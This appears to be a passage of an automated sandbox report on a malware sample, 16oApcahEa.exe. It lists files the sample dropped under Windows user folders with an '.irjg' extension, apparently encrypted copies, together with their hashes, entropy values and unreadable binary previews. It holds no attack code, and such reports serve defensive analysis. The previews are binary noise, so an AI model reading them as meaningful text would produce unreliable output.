Preview:	.......h.tiU.0\|.F..P.m....\|I`.. ....6.....&&3.X...0.__>..=..._.!f.'.f0.....)...Q.%.G....f".O....G..p..-....k..W.......CTS..T.E.dP...3....u....Q7l.pQ...'...ixW+..Z.."Iy.....L.~9.A.y>.p.:...p...I.V .K/..U't"..Y..5....%.S..]..D..<...&-...\...4.B...9..R:b..)>.........G..=./%.@...y..si....b.>r .?......F.tX..L........4..kW.K..S....8^..bD..c[b.....D.4....E...I.a(./.d.F..6.0\|qE..8..K.RNsR.]..+9V././U.Y..mx.iJ8.T...-..= ....2K.#.@.......R .m@..3.....d.3...1jO.....j.q...K.Q...u..?..-.Z..m....,c.%>.2...d..9.......E`......u.?..>._..gr...\|.W/....7..q..b...9W..^7..(.f...I...D E...............0....}"Y..0.&..?-..+.\|qn..y..%...6>....aD....V..i.....;...=4.B..f....[$..E.v....P\|...P.@.n[..w..Xt...-...&.?..w........}..[V.Jj$..).Q..4j-^..............C..."..w......)...c.:....c4#...]....5X.d.y...:lz....K...n..N.-,.....b...d..."n...>)f....+}.b..,.R\|5y.........<...5.Z....:...../.cW.t...?'$%R.P.{..s..aY.C......}........F..mq;..18w#m.V._. ..>

C:\Users\user\Local Settings\Microsoft\Windows\WebCache\V01res00002.jrs.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	524622
Entropy (8bit):	3.2079075573524114
Encrypted:	false
SSDEEP:	3072:5HIboBAu1t2B2qeztEr+txKLx2Bv0/Dwnf4WutPAztWQ:WboBVH8mxKN2ybRbtP8J
MD5:	1B845376A2025E0C6D96750F3FFE6449
SHA1:	AAE8FDE6B795E8A44BBCF6723C13E3A0DE691116
SHA-256:	0F7E47AFB45EA4C0FED66B784542612C7674DEF0825457D22BA597A8708E2DA7
SHA-512:	EC4220C23B41812FDC27FE7D0BBB73FF44D376FB58A7676B46E804F81552DD09B7F0CBA1132B96CC4F5B73B74E1F98845D8493A8E892976FD8E1A0FD4F1924C3
Malicious:	false
Preview:	.......dr..G....hg....\,...O.cq.C..x....vx.e.2.". ..t........:..v?.rWxX`..o.C..b.]....e.g@!..D0.Z.m..Of.!....r.]......&.D.i.z.....L.>..+i....4..H.....K..5..~4.R...Ng..!.EqI..c.....]\#X..C..jd..E..l$j"...X....:E./lh....ieAOh.)Y#SD..cL.Wk^.}-.....8{.o....k.........5....7..ec.JF9.$........,....i...<..."....:..^;.\|..W........-.M=oI.8.?8i...SUw.%..f`..4&%.t...}..N.j.@..Br....Z........k#5..4Y...m..J.w...;..X.V.7.A0+"..PKr..1.J..%f..y:_..l...KG..].....H........F..l..+)9....%...a.X.T...s:.9....T....}.j!..$m.Z.9a.+K.{....J.w23.te0.\|..`H.VBP..+.G...Dl.......$Uo..v.n..W.5d.......:`...Lo,.l. h..a..I..2..%..;I.4.@.(n.ic-3....C.L.O}CH.&...T..m.....&.@.R....a......>,G:.).`.T..XrO7..,eU.`...@o.&.}.t..45.j(.@B:.n...?..t..{B4.MN..B}..5.\|.....\._.y..a.......!!F.R....]..W.c...ya...N..0.6..!&<.L..y.1q..zn.e>t4..-......y.y..).'.....;.....h~.m....q.7>.%......;..F.F.l..DN"......N..~.@..5i.bG.....4.X...2~..x.a....Za..-.,l.Q'?^]...1...B...,)........Z.a.).....Q...K..

C:\Users\user\Local Settings\Microsoft\Windows\WebCache\V01tmp.log.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	524622
Entropy (8bit):	6.198304969436213
Encrypted:	false
SSDEEP:	6144:gQD+oyhgP/HBBkIua1Iq7mSBE1Mxc0+qFJaohDNdrjBmTu47OYPRUVRnqdKgaFf:A2XHwB2kuWetYRw7bFf
MD5:	DE8F404AEEE2FFF18AF3C077DC7C52BD
SHA1:	17AACE8BCDD5594561D4092CE252994DBA24A64A
SHA-256:	21838D6B43FF51E1506B7E222339ECD9EF3EE28AD46D7B7E8D2647FCF085CB0E
SHA-512:	902F3050990F4B7B1B58BDE96C9226BC9B990E6288A771A90ED13FA0CC99BDDBE985B408E32EA9B51EE2BBBB39E737CAB068325D464C7216297CE03F9DC611CE
Malicious:	false
Preview:	.!......4.v.F,..R.B0..0j.?>.p.9.....L........M..h$..m..wu2.......C.....Wj!.f...)as...B....F.WY.b.tY.K.\.'u."&....,.r....$.,....u..phB...B?)'Zal..`z.'a..8..s...an..J8..^=Y...A...e.......H.F...Iv.C.=.W.9.z..,.....u.+J.k%..pk.2.h.._7....v?..2....+.<$..b].?].X..f...n...C<?..~....".MF-....}..L....C}...%.)i$Y.rl.-.k.l....$...A...d..i.-.'.......XJ.....D....K..].. .1EX.v..>.p.....!.2.0.w.8E..../...'..Q..ua@6.8b...hC.....c..U.e.\.m.Y{..a}u[.M..).._.4). .#.._G.R. ...9.V /-.A".)N.P...+./H..>.{..D..-;.....%i.Z..O}........f:7h.....O..VU.8...8\.0`...,4.....R.1......!eMe.0.....(...H...+..i7". d..?T[......6.R.D....w....2j..y..@.i.......tv.ZhO..+..=......-.....]..s.....JL+h.2j..".s.....;.....M.c]5...8.....d....>R.~....jX$..bf..o4.oB...^....x.H.....m.;E.=.n...h.z..=#..g.....=.9..*W\|.o.G.[f....H..f..`..w...X..F...N...C.^...WM?....&V...".T.D.8..../;..a.t.1..GNu..\|.&.UOmt..........A. .o.-k...sZ3.vH9.;.K.........J.`3..t.V.2..yV..Y.?.:..P.:Z.....D.c.!.-....

C:\Users\user\Local Settings\Packages\1527c705-839a-4832-9118-54d4Bd6a0c89_cw5n1h2txyewy\Settings\settings.dat.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.976979626560909
Encrypted:	false
SSDEEP:	192:x5jswMUvv+xcwPmxkjDFZfgH7ZU3pGY4buA97qVLkKbzXKWCzZ70wrR:xddvv2cwT+bZSV6JqVIKX8N70IR
MD5:	54333CD7435B659BB9DA0B2CAD510C1C
SHA1:	BD439235055B33E4EAF9B670B7E226A37A36898F
SHA-256:	4ED4AF24FFC44C7CECF1C46C6623FD77C23E5E52DD5EB4D6C5C5232392055EC0
SHA-512:	309955750F8620F7AF3FECA09858A462E90AB1AC72328AF483C437A0ABB73D92C1F6FDF0D76A0F0CB15855362FE76F56710AE5E40779B11653FED064EFA43B09
Malicious:	false
Preview:	regf..7....`.+^..Dk.:...Cdy.xt....~.].N..7..q.:...-..<Fu..C.....EtE...Ob.o...,..#.....2....eQ..Q./..{.g7"G.c.".<.........7."C..g.N..R.nPP.A.3.....N.5.-j3X..5f....:.\..f....S.7..,P........d..r. eQ..a...J..I.C..t...}....a.^.W.?.].8G..u.,.~.W%..AF.dD.`....P.....;}...&..#nu..!0.3.....W..Q....G.d.d...3.8..-.~tIo.{B.3.E..g.A.M....gP5./W.p.>......P....q....w.&R.>t......X_...-..s..Q.C3..IH..G..}..I.....1.....k_.......%...\.d...J...d.bCS.N^..a...4.1.........+....yr....n.............`..?....//.r... ..i.)R.....O...AZ...nNC5..."...dz..P.k.../.[H.%....%a.I...oK.,.....o .#..^4b..(x...@%?.,....}..3..HV...B..&.-.....+..`_4......7=.WH.G`.q......ED...#.(..A.....'n..HW{.....l.?..0x-.....l........kmP.n .L..?..o./...6.T..V..^r.{O.E..{....<s.........&.VFi.P....M...y.$24...fty.P.-kx%$._...e)4..v.bp....~....;...s.n..\...LWJz_.O..q;..N./i.z[{\........9.B......1.%K...A..8.K>:.....&..6.u..RJ.(JL.....^4...P..r.8..c*.....D.."..0..Vw.^.i.q..\|..$.c...

C:\Users\user\Local Settings\Packages\E2A4F912-2574-4A75-9BB0-0D023378592B_cw5n1h2txyewy\Settings\settings.dat.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.978296655355567
Encrypted:	false
SSDEEP:	96:sDNtcdBSzSzo1aXR/7yPvyqMStGV8PiWNtl3zqCWjOX5fW/nj3cL3f+Zq6O2AHC:sHdaBOPvyq/40zqCWjyq+PcnO6
MD5:	EFA5E0FF75AD05941DC8AB95F0B807FD
SHA1:	E637665C1307E4609A96A2173C3F26C33F8AD301
SHA-256:	AB4888B4C8B7C223D7E8E7F085E0A9E850D7AEA10A2495A66E479821C5968F95
SHA-512:	7ECFC8FAD3FDAD14C6A008807030DC1804B225FE14B4BFDE90A3C5E18DCBC9E1AC1C615BE359EEBA21B908AA31F702088B914E7A1B48B2D4EE8EFFECE9659C3A
Malicious:	false
Preview:	regf.N...+.&.usm^D-v3...MN.l.f.?..MUx....o....O.]..se......i.C..y..J.1...m....b.........T.x.(.=....W.....p....xBsK...5^....a......2.`..cH...Ub....rN......m....C.j...b...>C..p.;.'...6..&ja.H%U.l...P....2b%.....=.....l.....m.........)..`+S;f....$.J.p>Y...x.:(>..)..M.n.POq...4-{..z.l6..1.C.s.._.P..}g........ZP.'...d..$.....+.W..9K.1.r.8..C....H-..Fp.`.H..</.rQ..3.....^..^.^..,........H.R.5.AV8F.LJ.QV.:q.?..=... ......sh....."..;....z.g-..X."....:.N."...)..H.%:.I....G...f./._.%..4.....u.bgM...l.9p..z..o.....4...u...5....ou.HEw.g..75GF.P..>\|...SC.6....V..V..$.F. /IPyq..GoS...%H:6.#< ...m.f.U_.?...c.......W.xa.#.$f.?..._$..Z\....A.N....8.U....h..1..PUk.....l..\|..PCE...7u...L...I...Q.xJ.,] :..n'.,....=.....gb.9w..'^...: .uB{.sbL...[d0.w.d.l..o..).E...2....N5...p.........Q#.!...j.....W..'&!B........H*........xU..E..).D...k$.G....v...J>.D.l...S..Er....V.!...q.)Mp_.!....k.{......=...xJPu..f...w.T0#..v..bT....=.k.},....{........=VS9

C:\Users\user\Local Settings\Packages\F46D4000-FD22-4DB4-AC8E-4E1DDDE828FE_cw5n1h2txyewy\Settings\settings.dat.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.9765853348230396
Encrypted:	false
SSDEEP:	192:vU9nHDk9icdcN3OTyl0UUEv6RFSIgxbg8srKa:KjqLcNsyl0UUy6Fkgea
MD5:	FBB920AC0CD506B9D71313B466595FF1
SHA1:	EA1D4C38078ACDDF7B7052D3C0621DE48CDA25CA
SHA-256:	0697E0D61DB20B0AFE307C89AE699453540ABD2F55617239B28BE99A471E78D3
SHA-512:	0F337A1AF9B67133396E3FED8C5A12D9E13B11820CC207F71080E2BDA7294E1E30F5AC6B53F6F03CB65102F47E79ABA39D9036B8380CA614A7AA743413C1E361
Malicious:	false
Preview:	regf..DDM.....Y.U8.[....RZJ..MC..XX.(..Wj...ZZ....3...\...]...WV..8K...$.kK..Z..F....a%\t. K.6.3c6..p.k..+j..."....kwB....'3...;...%.o..e[._..F...[..U...9!..Msz..N.9O......s..K.gX.......(R]G...)....L.>...3...A..@YLa....v..[\|....n.{.../.z.....$V1:>..E..?.....S....\.......mI.......#..Y..Z..`.5.I.Y.~...8.p.0..QJ..p.]N.rP...`bl..A...bh\|......K..........W...v(.&>..d.D.{..T.....c..j..O4k}0..;P...b\|..........e....cE...1....Hc.f..}.\....:...)....@cX8....H2..;.y{..0...c.....rCB.<......'..Yj...8.Ew\.f.o..$?.TE.!.W(.!:......x..g{4....M.@E......>..k.{.1.z9r..+.....NxU..F.xe.{..Z......'\.x........0...?.....%...0~......$Jc..L`y.0>L.h[.N.7l.B.Pg..X...:.........T.R........4....!XR.C....}.Y_.`..RaK..^\|6P..?..9o....I..#q...QS..X..8.ra.3...cYm...4.)...}).w...*...f.(..Q.~k..._B.........q...wA..Y..A......c`d....c....Bk.>...........w....=.r......o..j)...9.(Xt..%..:.@.@..d..b/n..w.k.......4].B...@....<K!..#.......]<.....4.....-CD}G..bs.....=.fa5....QX@..LP'.d

C:\Users\user\Local Settings\Packages\Microsoft.549981C3F5F10_8wekyb3d8bbwe\Settings\settings.dat.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.978607409682155
Encrypted:	false
SSDEEP:	192:BmloBAG+Uh0OyaEjcZ3tRUulGNc0LuQN+gM:Co5vy/jcpUulauzJ
MD5:	6004E5172E9D30121D1132C055373CC3
SHA1:	E91363D81453497B8FCBEACAC17C8FB93CFB7486
SHA-256:	485E7F8235E6B0AEDB58F14699FACE4796F24082D04376698EE30B5B4CE6A805
SHA-512:	604701C1415596AA6F153CDAC22B85326627A18C6324C09893D25A0930F84767F05FFE86C9FACDB2AA24F685E197BA19DB13938020BEC1705AD0381FFD8E6A32
Malicious:	false
Preview:	regf...&.......%.{.z.;....yO\|..Q.0.Y3......",....b... 4..h.&DE...I+L............@T..0wP...4...AQbQ.S....Wd<;Q%u.E.L.n.p#6G.f!~tD..........(V...I....2o...v.QI...H...yo.8.~"..(.2.L......M...!.........].....{...a .e4.$.f...........F._.)...8T...;D.4..*.W.y.3....6.(i!..lub^.:...P.oQ.&:.....X&;.%.S.@d0....d...ie=`..pt..........i.Nz.e...LZ........@..v#.y9..l#......k.nD.YC}.L...;..-.9..(.....3....(Qr.MP.^...$....J.....z...`..m...0...v....N..%".....C.?F..j.{..2.....!....D{.R......A-..@A?e]..b...1M....+....'T..~..C`.uB}L..#N{\.4K.<.,....`Q\|.O.7..yA`......l.....@..>;V+.Z[Jw=;..T.\5.....D.../.N@..T.` ...z.8....c.....0J..._m..._{.C...f....v)......dG!h..3..@...Pn...$......-E+.&...'...V.FH........w.....p...(y..2..y.B........iXl.U..t...P..fI..MO....:.4.....`.W....:7..#d...........g....>.a.j..3..q...,Y}Y..X.......]4..fg)W.j..L}.}x....4...l..kZ5:........U.A..v.N.]_.~ ......<.1.q...af....~.P4W.%...W?...k..r...2.g.Px......O.4Q<"&0.lD....".\.B...U..

C:\Users\user\Local Settings\Packages\Microsoft.AAD.BrokerPlugin_cw5n1h2txyewy\Settings\settings.dat.LOG1.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.977288572886864
Encrypted:	false
SSDEEP:	192:+ZM6lEr1hBR4aqtnuDKAIEoYhHC4LMV+8uiFSg01X134ViK4Udhd/oMdf:YM6lEhh/4a0uEEXl8v98asKBDhoMV
MD5:	DDBD810F7BCCED07740F4E525B14ABCA
SHA1:	B1D3DD4AB4326F7CE0947A027DFDD63CC303FABE
SHA-256:	2909ADE032F7E6AD810E1E081E2DE319CF482680F1C31A2F15AA1CEA6CA19709
SHA-512:	FA8DEAD65E9DEA06C2D2A0BD5604C08EBF7B942FFC982C0FF9E0DCDC8CD61DFCAA6F5B91F336013F11EEDB3F6E050D58D011291A1B2FF7847B386CC0CB967F1C
Malicious:	false
Preview:	regf..E+Fl......PI`...M..W..n...?..e.K.V..L<0F{U..`..W3$$...E..+.R_)YHi.N.H.i.."....v+.E..5...............{.?'..H..y. .........C.odf.eJ.d..........Q...Q..".Y..L.K...q4.v.....V...:.+.Y..Cd3...].Fw.D.;.....s..t.C.;R...bP...~t..a3.....o.8M.h.H.gQ.JN..w.wQe..".R..xU..<.2#T.G....-m X......G[..N.^.$!.N^......3,.....tI...\h..y..n.f./..^W.1[.\=..8.B2...G.?..T...$.UA..N..I.....c..K.!.....pD.;....@.&+...!..G...cF\|,.1S....j:.....m\|..g2..K.0.4[.....&R,).x..q:M .i...Nww_U..R!>....w.M.oa.u....A@..f..\|..6\].A....&Ui.o.79.Qh..v..K-.`.rtBQ(.W..ou..b'.\|.d1..^a..S......_w...G<..w?..%+P,.(....rz...h6.v.[,^'....C...........'L.Zm(68S.{...~.>rI. .y...E.w..c.....2....T..3...t...x..L..yd.P......7..$...8..h'..`7n@..f..)8).<.p.J.5..%.!.c..".._..]...G...)P..}.T..B.....K...&...*.Q..........bh\......\.\|...%.X.....>..68I.+........W.....H6.#....YM.'A.k..g7E..w.W.mZ`..l...0.4...pT.%4.....\|..\|...s".......Xq]hRW.2.k.FF...>s.D.2C..5.9.....e.....!..9.aTS...!.c.Ad..m..R...A.

C:\Users\user\Local Settings\Packages\Microsoft.AAD.BrokerPlugin_cw5n1h2txyewy\Settings\settings.dat.LOG2.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.97990104985057
Encrypted:	false
SSDEEP:	192:y2I6J0HVeyvhVz6S6dHoOwRKu7a1e7YJOHY4riSZi+hxE:6c0HVNvhB6S69oOFu7aIu+hxE
MD5:	1C08DD6BC123AEC73C95E83CACB6543C
SHA1:	CEB7B55ACBD9D51438C9687952AD23795DE70BA5
SHA-256:	40AF3D3328E69C1E9C20673333CA2D281EB66BDD094B366FBB7A24C712980F19
SHA-512:	6BB0778AC309B7A862E702D0010734C8E65329242851B047DED43C9D7D2B6738927BC5596D01A1C783ED113D5C4B7ED347AD1FD4EB9F09A4766D79F89EEA7769
Malicious:	false
Preview:	regf.b'...>.....MY....]Q......0.=....?...!,C...Lk.#.#.C.3.,~.._..p......?..a.Q....]....y.w.V@./.X....'.j.\..w.7..Z..W..l@...`.\|-.)......X.".hI..q..(.._s.).)t.........w.\D.M.......r...f-._i0M.... .........F.J....[.0..([..R.,vj..V.{.d...W?m.H>7.B:.3.\|.W.M9J.....`h7.E...)A......e.q...... I9F..y/..I.8......U......K...z.....9Z^$.Em..;.......o...y......ja...lb$....\|r...u.W.h0....'..G'.H2F.[-...ZG..G....z...X...&.b...cf...8.P.....Kz....KH...J2&.....RR...L.'...q..e....n.Q..A.5...J[.4....7...[d..(l..a..)../d.jp.t....&.%I-lo>+4....e....3E,.(.\.6.O.$...6c.X..=B..\T.j......'.$..a.:.@..CK.......H.y.....j...P...$...i..9..=r1...T.[./}7.&..&..~q......d.8...O.yE4b....\.....gZ.oa .....h>.D.5..uA..l.......}..hEp...\|...1.Z..TNP..(.#....Ug..8)".LE\...I.G.L..Cgs.h...g..oJp..g.....Q...J.L....P...'......d7.(..i.NXSL...)h[...?.#C./....H....!Lwr.H.T.(e..G.B3......s<....3s..M.Y>)..%....x.....C...8.b4..n,\n>N..y..x.DQ]....!..Bq.G.A....<..7<.f..xDx.....

C:\Users\user\Local Settings\Packages\Microsoft.AAD.BrokerPlugin_cw5n1h2txyewy\Settings\settings.dat.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.978098418504233
Encrypted:	false
SSDEEP:	192:9H0/IbQEOGKroMH4OqOzhaxBmu1vWCqg7Vx6MC:9H0AbQA2JaxB31+Cq2VxY
MD5:	818E00EF6514741040771A700AF63A9C
SHA1:	6F5C3B7316766FA1170005265C0973773ED37835
SHA-256:	73ACA3582DDBEE44D153DB900164FD2FAA20C7A3CCE6CB2680D58AD2C0BF2CEF
SHA-512:	4CB130EC4050B620876D91BE5C7793CACEFB5B477407242BB53A69A7440603A50ADDD04FBE0CF96B37E767B4EFABB00257214E5C4EE4B1C0F0B339F0A2836C00
Malicious:	false
Preview:	regf....i...N..C..<ad..!....x...iz........-.._.E5T...hy.8..F..`.K)b.=....NH....+..Q..,..N/..]".z..._.:yg..f....yj.3.n...~.`.u.x.\.q]...v.I..es....GL7.'...+tL...f...<.....+.g.[y.......\|...fg.R\........!...-...,....E?V..H%c.m.......GV.."..M.}}J0..Du"...Ur...n.tI.3.mz..A..1d............z......Q...s,>...._...J.,..R.H.>.7..^...v...x7...r.F.n".R...oE.2.W<.....0O).....]......CYG.D..38:.....(..t..c..pwR[.p\|`4g...T..[?-,...y...O..f...\..a.!.;cT.6...M.7...aUT.8.@8H....2..;.M.L>.:kr....]A..A.I..3....^..t....xa..g.~..y0K\|..G...5..v...Bs.~.\|.C._....0...s..3.W.{.L..>A.ja.....A......~...e.IX....0..0W..B.s..^.../.q.b..{~..L.D.eD.[(2nLw...bg..Q...;.c......;..&y.~k..W..<>w..f.1.......:.D....M...=.E.).......@9.M...Z...........Z...y<.Gu....I;..-+.3d.....a........N...R.K..G..#b...Wk.@......(.(\|)(../.........cB.......?.......<#..M......-_y&$(V..Q.z.r.r..zi.:...D]`...O.'Y......V.0..G ....1).......r....aw... .2.o'e.O.2M...4.Z(.5G+H]."...Y.....@..ur.?l..E.4i.$.\.,*.

C:\Users\user\Local Settings\Packages\Microsoft.AccountsControl_cw5n1h2txyewy\Settings\settings.dat.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.9770637593482725
Encrypted:	false
SSDEEP:	192:gKMgtljzWpiCM3g81ZE17tNzspslON5QpWZnJALf1bk:8gtJzNRi7zflOnvZn2hk
MD5:	F68A3C568DB645CD4BD096C1D1A3ECED
SHA1:	59736BA72F126A236F457F6B78A952D4D4B13EBE
SHA-256:	17ABEC0721C0CB36146B92497C049B0D559D3C02C9FC17FFF83060EC991EF62C
SHA-512:	3C961D0701B2275C948AD9D4DF3095E73231D14D53A1F091CBDB6DD45B1DC5549A719A7DC9E07F7E619E09FD176D47EE307FA6924C680936931F37B4B16C0A29
Malicious:	false
Preview:	regf.qW..6...jL.?....&.~,..hM.+h].w..(..o.s...........R1.vUp4..;..px]..d.R.ea.......f..K.w..U...KK.F.....F.........U..'....%.um.a...p..].#...h...PR..).........b,UU.Z.....'..7.Y..eZ2..~...s....>O....D..;D.m:...... .\|.Ze"K.u8+/.1......A.P...P.B.oBl.HNm.IJ...d..GLI.F.....b..LR....+.G.=..:p...iy8...9o}...dh.?......h..5....g..Rd;H.S...e...Uu.......w...#...:%L...t..>....~.&.w...TY..,9p.......T....T....e.L-S}9..P..;.bF...7...yZ\.D..G.e...N..M}..i. ........Z.w...46.T...k.f.7}~....\|.l.#F..,......z(>.=........`i..671,'...m..K9.A..G..<....J........akA..n!..0.....%.0...h....}..[e...e..1#...~9.c).)..i.f..FW.l.....h6...._q .AL..e...Kg......n(u.c.......k ....}H...(.f.e...3@O.K.k.'yh+l....o@j6Z.jWO~.WZ.....;4.`bT................J1.N......R........*k...].....}..\|.Pb@...l..BlN.y..._g.5i_S..1...r.MmI.%U..\|.f.0^............L.bd...O.&......h;\|.P.).........j..5..#s.8....xYLJ....<....b..%.m.?6.\|[.r.f.. ...{..g....~.L[.=26..l..$.g..d.cO..T.X.PJ...-. j$A..

C:\Users\user\Local Settings\Packages\Microsoft.AsyncTextService_8wekyb3d8bbwe\Settings\settings.dat.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.975013900436294
Encrypted:	false
SSDEEP:	192:LFdT099s+/S4nT1c6QVMxVan3IOnfmzpTV/lL8PCCb5:k3s+a4nT1clOxVanYO6xfEC25
MD5:	1B9DB3A3E7688DDE6DA8889F291ECD1F
SHA1:	36C9ABCB90B3C2EB9934ACF432FD3F6806368656
SHA-256:	0B568EC859AA292081082A72105C3EB697DDC011F0658B3844E748BC3F06188F
SHA-512:	E055463D1888E3C99759D6CEB9F0F048DD058BC76839FDF4EAAE267DCD6163183B86C8322C54F311DAFB0A2B790C76466FC4F0C68D589D15588FC503DF72C897
Malicious:	false
Preview:	regf.b...3..h..".$.T..D...e}....t....4..x.M.....}.=...(..k..ijB.S..I..w.w./y..Z{.%e...v...R9.....U....v.....%0.2>.'#k..)..q...f}Fs@rQ.y...I...K"..m\.5.....?..M...PA.;.....<J......jBU.M!.H.t.r.........h.R.a........8..:h.B.m.)<....n...o..-sL.pa...X...G..}...."...n..h.VUU.S.C.@..?]7...}....Q.+...Kb..D.8.b..xC ..a..z.^......8.%._.(..c3..Yf=..y>..l..w.\/.m&......8U.b..y.q.y....=.hq....}S..a.........?.L.f>.}.)..z2Q.H...Q..!5V."B..!..5....#.@p?.'3..U.vKL.!.F.].[l..q...;:..-.q.>o.O..#.)B..j\.U..8....2T...>...f7.i..'@D.<...n1R.!OeiY.... z..}0{..g..u.....K....... ...P...ve.G..`..v.<.Y.W.4.....f.....r.`...=<=)R...U..MDA.B5..u.O.[lBl>..NU.[..xn.......B..{...hI....&2D....U.u.........q...G...h)......D...>A.kc...k2.g}B.z.pq..d...i.......b.9&.v."..3...fx.....,.?-8....h..T.tyv.x.y-q..m...$%.[\z...o...m...MF.....wp.]..&~...;A...F........u,s[..1L.OU(.e. i... .2R..4c.e..).Y%.-..8k{$Y:.GR.C......R.->j...'.7....lX..k..e.?.:..b*nr,.m. ...WI.J...q.,..U.... ....L

C:\Users\user\Local Settings\Packages\Microsoft.BingWeather_8wekyb3d8bbwe\Settings\settings.dat.LOG1.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.980061382129942
Encrypted:	false
SSDEEP:	192:TIwn7IdSX1UHvdkpdP0ozUv77sWNbHs/JlicZ+6rAUxP1gIx84:TISAHWdbzUD7sWR2j+6MUxL
MD5:	AE71DBA99B4052E46600EB9D1A554F4E
SHA1:	6F87BCD0D96C6CA0BA0EDF196C5977D8B2DF89C6
SHA-256:	F2DF0E54245E73C74C391D05F2E9623F67E7F56E93FEA6B7247306F2F66C32C5
SHA-512:	661F969F96AAEC68B3DC99F9255B794BC2A3491BC94BA49461A7273239674E1FBD752F422DD11D96B6AA554B625F93DC20FB846EABCC6D08AF4086CA74EE2836
Malicious:	false
Preview:	regf........Yj......sw...2'l2......O.u.....z....y.$J....F.r.....q..E.[..gLN8L\|^.`..z.g#.2W...u.p..9.Nl...<..,.-.o.~....D..o.<R...9....@Wr.i_...S.A..E.^.bU.....F....)f..:...#cl_d....c.i~..R.P.......p......Q......l._:`..n\|.w..:.!.$SD.}.4....e.r.......P.l...z..{..S.0{..ta.Q1..4X..'>.&.).....Q5..H..W[{.U....F.]..nKA.$z...e..D...4....nf.....c..p.vL.`f].y...6_..!q..B..G.\r....o.^.....q..K...T..b....I.Avn....H?.R...v..\|n..M....C.\a...t....JL0.c....o.[...s/..U..H.,..kD.m.]'_ER...`..f..$.<.\/.....%..W..(.......H..>......?....n....@'...Ld.Z.8....$C=b....=..9....N.3C.....dS......5.h...a....n."..z..b.}mS.k..g ..Tc.=Bv..S.........N......Q....\T...)...KK.$5..Y.D9X.w.}.q[..d..J.....UM.6\H@d.Rg.V...l......!.....{y.....\|.....U./.....{...]...P.-c.$<.nM......QTq...2..r....Y.....UL....=...D/....9.JATO..!.d]#..F..e..$f..Qk^.[h......v._.....:P..#..~&......@.!...".-.y....4b..c.l.V6.......x..P....L............d.H.j..}.tz.....V\|,;".....>H....s..1..

C:\Users\user\Local Settings\Packages\Microsoft.BingWeather_8wekyb3d8bbwe\Settings\settings.dat.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.980794492168361
Encrypted:	false
SSDEEP:	192:598cjzW+fxsIeIR4EP4jBaZNqIBzf6HwvJTssjVeS1lKtgSpgCC8DN3:n8QzW+oIR48+eNvF6QvJTvjVplKr/93
MD5:	F943621852F0D607A471DF6877AF836E
SHA1:	DE68383024A080EADAE44A4A1411B638FA0EA79B
SHA-256:	2A21CAFFA5EEBF8B8272E412547E13A72B5C237090CA884F62F5B8ED89E228FB
SHA-512:	B51B0B03E15DF247FFAAE6F8F29FA6C81809F5E361AA320B9D12647EB3A34481C3957D7884C265E034DAD4D0C74C51D5E6B3EEFC6ED6E20A62629AB9CEA814DF
Malicious:	false
Preview:	regf..E..@!....c2..O.....,.)...<..[L..lX.-..er.]...]..b..t.N.C....(...\?.5...3.h......J.s`V...w.23.....(.Z.IO.t......"......W.]..R@.q..2..!..e.q....tt\|..{.D>.K\|Zy...F.}.<..l.../.@}...;.'..=.%..TNi{..e..Xcr..M.*K.R....+th.S...C./h.,.hh.CY..j.Y#......B.:}....i...A...f..SX.U..].ME.p....1k.ge..)=.A.H...?.&.OB.%!.....r...l...-..];.....,..c4.JWo..D...X.........'..M......J....O..`=.C4.CuZ.Nz..C.~.E'-..k.A....nG.;.N.E.]5.mO.y.Wb.t....R.Yfo..>.......F\|\|.vy...vn.n.v./.b......4....g..dV.].....U...t...n.0YE-....%...V#pG...z.j.O...G./.#4S.....X.+...).&.....%.....1.....E.}^...]..k.ZX(.w.m..?..J..y..,..dg.......i.R......6..J.....N...[.f..a........]...........IK.^. .G.OX.%....q..BR..P..T.!q.9w.1z.Ks......QPJ...L.s.. /l..:.c....r..#\D..lC..q...../...#...W../.z..J.oP\..}......o.>JDG.iR3..0...%c.3!.I..y).._..R~.5.1..).9...R..i>A......H..88x.....)#...Hz.a....?..m.[...Zhg...!..lz.k...(O..F.3....^......I.&.U....2.P..7Bk...U,.EWy...E....R.....=vs

C:\Users\user\Local Settings\Packages\Microsoft.BioEnrollment_cw5n1h2txyewy\Settings\settings.dat.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.977621377544647
Encrypted:	false
